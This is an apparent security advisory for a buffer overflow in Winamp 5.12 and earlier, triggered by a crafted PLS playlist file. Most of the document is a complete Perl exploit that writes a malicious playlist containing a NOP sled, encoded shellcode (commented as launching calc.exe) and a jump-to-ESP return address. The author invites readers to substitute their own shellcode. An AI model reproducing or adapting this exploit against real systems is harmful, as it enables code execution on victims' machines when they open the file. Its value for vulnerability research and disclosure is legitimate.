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Winamp Buffer Overflow Exploit (Crafted PLS)
------------------------------------------------------------------------
SUMMARY
<http://www.winamp.com/> Winamp is "a proprietary media player written by
Nullsoft, a subsidiary of Time Warner. It is skinnable, multi-format
freeware / shareware".
Winamp 5.12 is vulnerable to buffer overflow when it tries to open
maliciously crafted PLS playlist file.
DETAILS
Vulnerable Systems:
* Winamp versions 5.12 and prior
Exploit:
#!/usr/bin/perl -w
# ==================================
# Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit
# By Umesh Wanve (umesh_345@yahoo.com)
# ===================================
# Credits : ATmaCA is credited with the discovery of this vulnerability.
#
# Date : 07-03-2007
#
# Tested on Windows 2000 SP4 Server English
# Windows 2000 SP4 Professional English
#
# You can replace shellcode with your favourite one :)
#
#
# Buffer = "\x90 x 1023" + EIP
#
# Desc: you cant put shellcode after EIP. No more space after this. The
winamp simply crashes. When you debug it, you will see that
# shellcode is 304 bytes away from ESP. So jump to esp + 304 should work.
Find such address if u can.
#
#
# This was written for educational purpose. Use it at your own risk.Author
will be not be responsible for any damage.
#
#
#=================================
#jump to shellcode
$jmp="\x61\xD9\x02\x02".
"\x83\xEC\x34".
"\x83\xEC\x70".
"\xFF\xE4";
#\x83\xEC\x34 add esp ,34
#\xFF\xE4 jump esp
$nop="\x90" x 856;
$start= "[playlist]\r\nFile1=\\\\";
$end="\r\nTitle1=Winamp Exploit by
Umesh\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n";
#open calc.exe
$shellcode =
"\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02".
"\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48".
"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4".
"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12".
"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69".
"\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6".
"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5".
"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21".
"\x61\xdd\x0e\x4d";
open (MYFILE, '>>poc.pls');
print MYFILE $start;
print MYFILE $nop; #856
print MYFILE $shellcode; #165
print MYFILE "\xCC\xCC"; #2 bytes
print MYFILE $jmp; # EIP
print MYFILE "\x90\x90\x90\x90";
print MYFILE $end;
close (MYFILE);
###############################################
ADDITIONAL INFORMATION
The information has been provided by milw0rm.
The original article can be found at:
<http://www.milw0rm.com/exploits/3422>
http://www.milw0rm.com/exploits/3422
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